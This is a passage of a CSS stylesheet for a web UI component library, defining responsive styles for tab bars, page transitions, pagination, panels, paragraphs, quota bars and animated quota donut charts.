@media only screen and (min-width: 667px) and (max-width:1184px) {
.__has-left-navigation .page-tabbar {
padding-left:32px
}
.page-tabbar--short .page-tabbar__block {
padding-right: 0
}
.page-tabbar__items {
height: 51px;
white-space: nowrap
}
.page-tabbar__item {
max-width: 25%
}
.page-tabbar__item-link {
overflow: hidden;
text-overflow: ellipsis
}
}
@media only screen and (max-width: 666px) {
.__has-left-navigation .page-tabbar,.page-tabbar {
margin-bottom:8px;
margin-top: 8px;
padding: 0
}
.page-tabbar__block {
max-width: inherit;
width: inherit
}
.page-tabbar--short .page-tabbar__block {
padding-right: 16px
}
.page-tabbar--open {
box-shadow: var(--primary-shadow,0 2px 8px 0 #718095);
margin-bottom: 8px
}
.page-tabbar__item {
border-bottom: 1px dotted var(--tertiary-shape-color,#bcc8d4);
display: block
}
.page-tabbar:not(.page-tabbar--open) .page-tabbar__item,.page-tabbar__item:last-child {
border-bottom: 0
}
.page-tabbar__item-link {
border-bottom: transparent;
border-color: transparent transparent currentcolor;
border-left: 3px solid transparent;
padding: 12px 16px 12px 13px
}
.page-tabbar__item-link:hover {
background-color: var(--default-background-color,#f4f7fa)
}
.page-tabbar__item-link--active,.page-tabbar__item-link:hover {
border-left: 3px solid var(--interactive-shape-color,#1474c4)
}
.page-tabbar:not(.page-tabbar--open) .page-tabbar__item-link:not(.page-tabbar__item-link--active) {
display: none
}
.page-tabbar__opener {
cursor: pointer;
font-size: 20px;
line-height: 1;
padding: 14px 12px 10px 16px;
position: absolute;
right: 0;
top: 0
}
.page-tabbar__opener:after {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
vertical-align: top
}
.page-tabbar__opener:hover {
color: var(--interactive-text-color,#1474c4)
}
}
@media only screen and (min-width: 1185px) {
.oao-pi-flyin .page-tabbar {
padding-left:32px;
padding-right: 392px
}
}
@media only screen and (max-width: 666px) {
.headless-mode .page-tabbar--headless-hidden {
display:none
}
}
.page-transition__blocker {
align-items: center;
background-color: var(--default-background-color,#f4f7fa);
display: none;
justify-content: center;
left: 0;
opacity: 0;
position: fixed;
top: 0;
transition: opacity .25s ease-out;
will-change: opacity;
z-index: 79
}
.page-transition__loading-spin {
opacity: 0;
transition: opacity .25s ease-out;
transition-delay: 2.5s
}
.page-transition__blocker--active {
bottom: 0;
display: flex;
opacity: 1;
right: 0
}
.page-transition__blocker--active .page-transition__loading-spin {
opacity: 1
}
.__has-left-navigation .page-transition__blocker {
padding-left: 268px
}
.page-transition__indicator-bar {
background-color: var(--activating-shape-color,#11c7e6);
box-shadow: var(--default-shadow,0 1px 2px 0 #718095);
height: 4px;
left: 0;
position: fixed;
top: 0;
transition-duration: 15s;
transition-property: width;
transition-timing-function: cubic-bezier(0,0,.0005,1);
width: 0;
z-index: 210
}
.page-transition__indicator-bar--running {
width: 88%
}
.pagination:after {
clear: both;
content: "";
display: table
}
.pagination__container {
float: right
}
.pagination__list {
margin: 0 auto 16px;
padding: 2px 0 2px 15px;
text-align: center
}
.pagination__list-item {
display: inline-block;
margin-right: 4px
}
.pagination__list-item:first-child {
margin-left: 4px
}
.pagination__list-item:last-child {
margin-right: 0
}
.pagination__list-item>a {
border-radius: var(--default-border-radius,16px);
color: var(--interactive-text-color,#1474c4);
display: block;
font-size: var(--default-text-size,14px);
font-weight: 400;
line-height: 32px;
text-align: center;
text-decoration: none;
width: 32px
}
@media only screen and (max-width: 666px) {
.pagination__list-item>a {
border-radius:var(--small-border-radius,8px)
}
}
.pagination__list-item--prev>a {
line-height: 1;
line-height: 32px
}
.pagination__list-item--prev>a:before {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
vertical-align: top
}
.pagination__list-item--next>a {
line-height: 1;
line-height: 32px
}
.pagination__list-item--next>a:before {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
vertical-align: top
}
.pagination__list-item--active>a,.pagination__list-item--active>a:hover,.pagination__list-item>a:hover {
background-color: var(--tertiary-shape-color,#bcc8d4);
color: var(--default-text-color,#001b41)
}
.pagination__size-selector {
margin-bottom: 16px
}
.pagination__size-selector-label {
margin-right: 15px
}
.pagination__size-selector-select {
background-color: var(--white,#fff);
border: 1px solid var(--tertiary-text-color,#718095);
border-radius: var(--small-border-radius,8px);
color: var(--default-text-color,#001b41);
display: inline-block;
font-size: var(--default-text-size,14px);
height: 36px;
line-height: 1em;
padding: 0 6px 0 8px;
width: auto
}
@media only screen and (max-width: 666px) {
.pagination__size-selector-select {
border-radius:var(--small-border-radius,8px)
}
.pagination__list-item {
margin-right: 0
}
}
.panel {
margin-bottom: 32px
}
@media only screen and (max-width: 666px) {
.panel {
margin-bottom:16px
}
}
.panel--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.panel--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.panel--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.panel--small-hidden {
display:none
}
}
.panel__item {
background-color: var(--white,#fff);
border: var(--panel-border,1px solid #bcc8d4);
border-radius: var(--default-border-radius,16px);
box-shadow: var(--panel-shadow,0 1px 2px 0 #718095);
display: block;
margin: 0 0 16px;
min-height: 72px;
overflow: hidden;
padding: 0;
position: relative;
transition: box-shadow .3s ease-out
}
@media only screen and (max-width: 666px) {
.panel__item {
border-radius:var(--small-border-radius,8px)
}
}
.panel__item--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.panel__item--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.panel__item--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.panel__item--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.panel__item-header {
align-items: center;
cursor: pointer;
display: flex;
flex-wrap: wrap;
min-height: 72px;
padding: 0 32px;
position: relative;
vertical-align: middle
}
.panel__item-header:after {
align-self: center;
display: flex
}
@media only screen and (max-width: 666px) {
.panel__item-header {
padding-left:16px;
padding-right: 16px
}
}
.panel__item .panel__item-header,.panel__item--closed .panel__item-header {
line-height: 1
}
.panel__item .panel__item-header:after,.panel__item--closed .panel__item-header:after {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
vertical-align: top
}
.panel__item--expanded .panel__item-header {
line-height: 1
}
.panel__item--expanded .panel__item-header:after {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
vertical-align: top
}
.panel__item--closed:hover,.panel__item--expanded,.panel__item:hover {
border: var(--hovered-panel-border,1px solid #97a3b4);
box-shadow: var(--hovered-panel-shadow,0 2px 8px 0 #718095)
}
.panel__icon {
align-items: center;
display: flex;
height: 32px;
margin-right: 8px;
max-width: 32px;
min-width: 24px;
width: 5%
}
.panel__icon img {
-o-object-fit: cover;
object-fit: cover
}
.panel__icon img,.panel__icon svg {
pointer-events: none
}
.panel__headline__container {
flex: 3;
margin: 12px 0;
width: 75%
}
.panel__headline {
color: var(--default-text-color,#001b41);
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
font-size: var(--second-level-headline-size,22px);
line-height: var(--second-level-headline-line-height,1.364em);
margin-top: 3px
}
.panel__headline--vertical-align-bottom {
align-self: flex-end
}
.panel__headline--vertical-align-center {
align-self: center
}
.panel__headline--vertical-align-middle {
vertical-align: middle
}
.panel__headline--vertical-align-top {
align-self: flex-start
}
@media only screen and (min-width: 1185px) {
.panel__headline--large-vertical-align-bottom {
align-self:flex-end
}
.panel__headline--large-vertical-align-center {
align-self: center
}
.panel__headline--large-vertical-align-middle {
vertical-align: middle
}
.panel__headline--large-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.panel__headline--medium-vertical-align-bottom {
align-self:flex-end
}
.panel__headline--medium-vertical-align-center {
align-self: center
}
.panel__headline--medium-vertical-align-middle {
vertical-align: middle
}
.panel__headline--medium-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (max-width: 666px) {
.panel__headline--small-vertical-align-bottom {
align-self:flex-end
}
.panel__headline--small-vertical-align-center {
align-self: center
}
.panel__headline--small-vertical-align-middle {
vertical-align: middle
}
.panel__headline--small-vertical-align-top {
align-self: flex-start
}
}
.panel__subheadline {
color: var(--default-text-color,#001b41);
line-height: 1.5em;
margin-bottom: 3px
}
.panel__subheadline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.panel__subheadline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.panel__subheadline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.panel__subheadline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.panel__subheadline--success {
color: var(--success-text-color,#096b35)
}
.panel__subheadline--warning {
color: var(--warning-text-color,#c36b00)
}
.panel__subheadline--critical {
color: var(--critical-text-color,#c80a00)
}
.panel__subheadline--neutral {
color: var(--neutral-text-color,#465a75)
}
.panel__subheadline--activating {
color: var(--activating-text-color,#007e9c)
}
.panel__subheadline--promoting {
color: var(--promoting-text-color,#560e8a)
}
.panel__subheadline--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.panel__subheadline--bright {
color: var(--white,#fff)
}
.panel__subheadline--vertical-align-bottom {
align-self: flex-end
}
.panel__subheadline--vertical-align-center {
align-self: center
}
.panel__subheadline--vertical-align-middle {
vertical-align: middle
}
.panel__subheadline--vertical-align-top {
align-self: flex-start
}
@media only screen and (min-width: 1185px) {
.panel__subheadline--large-vertical-align-bottom {
align-self:flex-end
}
.panel__subheadline--large-vertical-align-center {
align-self: center
}
.panel__subheadline--large-vertical-align-middle {
vertical-align: middle
}
.panel__subheadline--large-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.panel__subheadline--medium-vertical-align-bottom {
align-self:flex-end
}
.panel__subheadline--medium-vertical-align-center {
align-self: center
}
.panel__subheadline--medium-vertical-align-middle {
vertical-align: middle
}
.panel__subheadline--medium-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (max-width: 666px) {
.panel__subheadline--small-vertical-align-bottom {
align-self:flex-end
}
.panel__subheadline--small-vertical-align-center {
align-self: center
}
.panel__subheadline--small-vertical-align-middle {
vertical-align: middle
}
.panel__subheadline--small-vertical-align-top {
align-self: flex-start
}
}
.panel__context {
align-self: center;
display: flex;
flex: 1;
line-height: 1.5em;
margin-right: 12px;
max-height: 44px;
width: 25%
}
.panel__item-section {
cursor: default;
display: none;
margin: 0;
padding: 0 30px 18px 32px
}
@media only screen and (max-width: 666px) {
.panel__item-section {
padding-left:16px;
padding-right: 16px
}
}
.panel__item-section>.button,.panel__item-section>.toggle-button {
margin-top: 4px
}
.panel__item-section--neutral {
background-color: var(--neutral-background-color,#fff);
border-bottom: 1px solid var(--neutral-shape-color,#718095);
border-top: 1px solid var(--neutral-shape-color,#718095);
margin: 4px 30px 18px 32px;
padding: 10px
}
.panel__item-section--activating {
background-color: var(--activating-background-color,#fff);
border-bottom: 1px solid var(--activating-shape-color,#11c7e6);
border-top: 1px solid var(--activating-shape-color,#11c7e6);
margin: 4px 30px 18px 32px;
padding: 10px
}
.panel__item-section--success {
background-color: var(--success-background-color,#fff);
border-bottom: 1px solid var(--success-shape-color,#0fa954);
border-top: 1px solid var(--success-shape-color,#0fa954);
margin: 4px 30px 18px 32px;
padding: 10px
}
.panel__item-section--warning {
background-color: var(--warning-background-color,#fff);
border-bottom: 1px solid var(--warning-shape-color,#fa0);
border-top: 1px solid var(--warning-shape-color,#fa0);
margin: 4px 30px 18px 32px;
padding: 10px
}
.panel__item-section--critical {
background-color: var(--critical-background-color,#fff);
border-bottom: 1px solid var(--critical-shape-color,#f50c00);
border-top: 1px solid var(--critical-shape-color,#f50c00);
margin: 4px 30px 18px 32px;
padding: 10px
}
.panel__item-footer {
background: var(--default-background-color,#f4f7fa);
cursor: default;
display: none;
padding: 16px 32px
}
.panel__item-footer>:last-child {
margin-bottom: 0
}
.panel__item--expanded .panel__item-footer,.panel__item--expanded .panel__item-section {
display: inherit
}
.panel__item---closed .panel__item-footer,.panel__item---closed .panel__item-section {
display: none
}
.panel__item.panel__item--neutral {
box-shadow: inset 4px 0 0 0 var(--inactive-neutral-shape-color,#bcc8d4),var(--panel-shadow,0 1px 2px 0 #718095)
}
.panel__item.panel__item--neutral.panel__item--expanded,.panel__item.panel__item--neutral:hover {
box-shadow: inset 4px 0 0 0 var(--neutral-shape-color,#718095),var(--hovered-panel-shadow,0 2px 8px 0 #718095)
}
.panel__item.panel__item--activating {
box-shadow: inset 4px 0 0 0 var(--inactive-activating-shape-color,#7fe4f6),var(--panel-shadow,0 1px 2px 0 #718095)
}
.panel__item.panel__item--activating.panel__item--expanded,.panel__item.panel__item--activating:hover {
box-shadow: inset 4px 0 0 0 var(--activating-shape-color,#11c7e6),var(--hovered-panel-shadow,0 2px 8px 0 #718095)
}
.panel__item.panel__item--success {
box-shadow: inset 4px 0 0 0 var(--inactive-success-shape-color,#12cf76),var(--panel-shadow,0 1px 2px 0 #718095)
}
.panel__item.panel__item--success.panel__item--expanded,.panel__item.panel__item--success:hover {
box-shadow: inset 4px 0 0 0 var(--success-shape-color,#0fa954),var(--hovered-panel-shadow,0 2px 8px 0 #718095)
}
.panel__item.panel__item--warning {
box-shadow: inset 4px 0 0 0 var(--inactive-warning-shape-color,#ffd176),var(--panel-shadow,0 1px 2px 0 #718095)
}
.panel__item.panel__item--warning.panel__item--expanded,.panel__item.panel__item--warning:hover {
box-shadow: inset 4px 0 0 0 var(--warning-shape-color,#fa0),var(--hovered-panel-shadow,0 2px 8px 0 #718095)
}
.panel__item.panel__item--critical {
box-shadow: inset 4px 0 0 0 var(--inactive-critical-shape-color,#ffa8a3),var(--panel-shadow,0 1px 2px 0 #718095)
}
.panel__item.panel__item--critical.panel__item--expanded,.panel__item.panel__item--critical:hover {
box-shadow: inset 4px 0 0 0 var(--critical-shape-color,#f50c00),var(--hovered-panel-shadow,0 2px 8px 0 #718095)
}
.paragraph {
color: var(--default-text-color,#001b41);
line-height: var(--default-text-line-height,1.429em);
margin-bottom: 12px
}
.paragraph--bold {
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif)
}
.paragraph--large {
font-size: var(--third-level-headline-size,16px)
}
.paragraph--large,.paragraph--larger {
line-height: var(--third-level-headline-line-height,1.5em)
}
.paragraph--larger {
font-size: var(--second-level-headline-size,22px);
padding-bottom: 3px;
padding-top: 3px
}
.paragraph--largest {
font-size: var(--first-level-headline-size,32px);
line-height: var(--third-level-headline-line-height,1.5em);
padding-bottom: 6px;
padding-top: 6px
}
.paragraph--last {
margin-bottom: 28px
}
.paragraph--leading {
line-height: 1.75em;
margin-bottom: 16px;
margin-top: -2px
}
.paragraph--minor {
color: var(--secondary-text-color,#465a75)
}
.paragraph--narrow {
width: 70%
}
.paragraph--full-width {
width: 100%
}
.paragraph--small {
font-size: var(--small-text-size,12px);
line-height: var(--small-text-line-height,1.333em)
}
.paragraph--uppercase {
letter-spacing: .04;
text-transform: uppercase
}
.paragraph--cropped {
margin-bottom: 0
}
.paragraph--exos-icon {
line-height: inherit
}
.paragraph--exos-icon:before {
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
padding-bottom: 1px;
padding-right: 3px;
vertical-align: top;
vertical-align: bottom
}
.paragraph>.exos-icon {
margin-right: 3px;
vertical-align: bottom
}
.paragraph>.svg-icon {
margin: 0 3px 1px 0;
pointer-events: none;
vertical-align: middle
}
.paragraph--align-center {
justify-content: center;
text-align: center
}
.paragraph--align-left {
justify-content: flex-start;
text-align: left
}
.paragraph--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.paragraph--large-align-center {
justify-content:center;
text-align: center
}
.paragraph--large-align-left {
justify-content: flex-start;
text-align: left
}
.paragraph--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.paragraph--medium-align-center {
justify-content:center;
text-align: center
}
.paragraph--medium-align-left {
justify-content: flex-start;
text-align: left
}
.paragraph--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.paragraph--small-align-center {
justify-content:center;
text-align: center
}
.paragraph--small-align-left {
justify-content: flex-start;
text-align: left
}
.paragraph--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.paragraph--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.paragraph--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.paragraph--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.paragraph--small-hidden {
display:none
}
}
.paragraph--success {
color: var(--success-text-color,#096b35)
}
.paragraph--warning {
color: var(--warning-text-color,#c36b00)
}
.paragraph--critical {
color: var(--critical-text-color,#c80a00)
}
.paragraph--neutral {
color: var(--neutral-text-color,#465a75)
}
.paragraph--activating {
color: var(--activating-text-color,#007e9c)
}
.paragraph--promoting {
color: var(--promoting-text-color,#560e8a)
}
.paragraph--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.paragraph--bright {
color: var(--white,#fff)
}
.paragraph.exos-icon:before {
color: var(--default-shape-color,#465a75)
}
.paragraph.exos-icon--bright:before {
color: var(--white,#fff)
}
.paragraph.exos-icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.paragraph.exos-icon--success:before {
color: var(--success-text-color,#096b35)
}
.paragraph.exos-icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.paragraph.exos-icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.paragraph.exos-icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.paragraph.exos-icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.paragraph.exos-icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.paragraph--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.paragraph--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.paragraph--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.paragraph--large-nowrap {
white-space:nowrap
}
}
.paragraph--break-all {
word-break: break-all
}
.paragraph--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.paragraph--small-break-all {
word-break:break-all
}
.paragraph--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.paragraph--medium-break-all {
word-break:break-all
}
.paragraph--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.paragraph--large-break-all {
word-break:break-all
}
.paragraph--large-break-word {
word-break: break-word
}
}
.paragraph--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.paragraph--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.paragraph--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.paragraph--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.paragraph--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.paragraph--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.paragraph--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.paragraph--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.paragraph--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.paragraph--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.paragraph--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.paragraph--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.paragraph--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.paragraph--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.paragraph--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.paragraph--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
.paragraph--last {
margin-bottom: 14px
}
.paragraph--narrow {
padding-left: 0;
padding-right: 0;
width: 100%
}
.headless-mode .paragraph--headless-hidden {
display: none
}
}
.align-horizontal-center .paragraph--narrow {
display: inline-block;
padding-left: 15%;
padding-right: 15%
}
.paragraph--large.paragraph--exos-icon:before {
padding-right: 8px
}
.quotabar--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.quotabar--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.quotabar--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.quotabar--small-hidden {
display:none
}
}
.quotabar__bar {
background-color: var(--tertiary-shape-color,#bcc8d4);
display: block;
height: 5px;
margin-bottom: 12px;
overflow: hidden
}
.quotabar__value {
background-color: var(--activating-shape-color,#11c7e6);
border: none;
display: block;
height: 5px;
min-width: 8px
}
.quotabar__value--success {
background-color: var(--success-shape-color,#0fa954)
}
.quotabar__value--caution {
background-color: var(--caution-shape-color,#ffd176)
}
.quotabar__value--warning {
background-color: var(--warning-shape-color,#fa0)
}
.quotabar__value--critical {
background-color: var(--critical-shape-color,#f50c00)
}
.quotabar__value--neutral {
background-color: var(--neutral-shape-color,#718095)
}
.quotabar__value--activating {
background-color: var(--activating-shape-color,#11c7e6)
}
.quotabar__value--promoting {
background-color: var(--promoting-shape-color,#b410e7)
}
.quotabar__value--corporate {
background-color: var(--corporate-shape-color,#001b41)
}
.quotabar__text {
color: var(--default-text-color,#001b41);
line-height: 1.5em;
margin-top: -4px
}
.quotadonut {
margin: 0 auto;
max-width: 200px
}
.quotadonut--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.quotadonut--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.quotadonut--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.quotadonut--small-hidden {
display:none
}
}
.quotadonut--small {
height: 50px;
width: 50px
}
.quotadonut--small.quotadonut__text {
font-size: .9em
}
.quotadonut__ring,.quotadonut__segment {
cx: 25;
cy: 25;
fill: transparent;
r: 15.915494;
stroke-dashoffset: 25;
stroke-width: 3
}
.quotadonut__ring {
stroke: var(--quaternary-background-color,#97a3b4)
}
.quotadonut--0 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
@-webkit-keyframes exos__quotadonut__0 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
}
@keyframes exos__quotadonut__0 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
}
.quotadonut--animated.quotadonut--0 .quotadonut__segment {
-webkit-animation: exos__quotadonut__0 2s ease-in-out;
animation: exos__quotadonut__0 2s ease-in-out
}
.quotadonut--1 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 1 99
}
@-webkit-keyframes exos__quotadonut__1 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 1 99
}
}
@keyframes exos__quotadonut__1 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 1 99
}
}
.quotadonut--animated.quotadonut--1 .quotadonut__segment {
-webkit-animation: exos__quotadonut__1 2s ease-in-out;
animation: exos__quotadonut__1 2s ease-in-out
}
.quotadonut--2 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 2 98
}
@-webkit-keyframes exos__quotadonut__2 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 2 98
}
}
@keyframes exos__quotadonut__2 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 2 98
}
}
.quotadonut--animated.quotadonut--2 .quotadonut__segment {
-webkit-animation: exos__quotadonut__2 2s ease-in-out;
animation: exos__quotadonut__2 2s ease-in-out
}
.quotadonut--3 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 3 97
}
@-webkit-keyframes exos__quotadonut__3 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 3 97
}
}
@keyframes exos__quotadonut__3 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 3 97
}
}
.quotadonut--animated.quotadonut--3 .quotadonut__segment {
-webkit-animation: exos__quotadonut__3 2s ease-in-out;
animation: exos__quotadonut__3 2s ease-in-out
}
.quotadonut--4 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 4 96
}
@-webkit-keyframes exos__quotadonut__4 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 4 96
}
}
@keyframes exos__quotadonut__4 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 4 96
}
}
.quotadonut--animated.quotadonut--4 .quotadonut__segment {
-webkit-animation: exos__quotadonut__4 2s ease-in-out;
animation: exos__quotadonut__4 2s ease-in-out
}
.quotadonut--5 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 5 95
}
@-webkit-keyframes exos__quotadonut__5 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 5 95
}
}
@keyframes exos__quotadonut__5 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 5 95
}
}
.quotadonut--animated.quotadonut--5 .quotadonut__segment {
-webkit-animation: exos__quotadonut__5 2s ease-in-out;
animation: exos__quotadonut__5 2s ease-in-out
}
.quotadonut--6 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 6 94
}
@-webkit-keyframes exos__quotadonut__6 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 6 94
}
}
@keyframes exos__quotadonut__6 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 6 94
}
}
.quotadonut--animated.quotadonut--6 .quotadonut__segment {
-webkit-animation: exos__quotadonut__6 2s ease-in-out;
animation: exos__quotadonut__6 2s ease-in-out
}
.quotadonut--7 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 7 93
}
@-webkit-keyframes exos__quotadonut__7 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 7 93
}
}
@keyframes exos__quotadonut__7 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 7 93
}
}
.quotadonut--animated.quotadonut--7 .quotadonut__segment {
-webkit-animation: exos__quotadonut__7 2s ease-in-out;
animation: exos__quotadonut__7 2s ease-in-out
}
.quotadonut--8 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 8 92
}
@-webkit-keyframes exos__quotadonut__8 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 8 92
}
}
@keyframes exos__quotadonut__8 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 8 92
}
}
.quotadonut--animated.quotadonut--8 .quotadonut__segment {
-webkit-animation: exos__quotadonut__8 2s ease-in-out;
animation: exos__quotadonut__8 2s ease-in-out
}
.quotadonut--9 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 9 91
}
@-webkit-keyframes exos__quotadonut__9 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 9 91
}
}
@keyframes exos__quotadonut__9 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 9 91
}
}
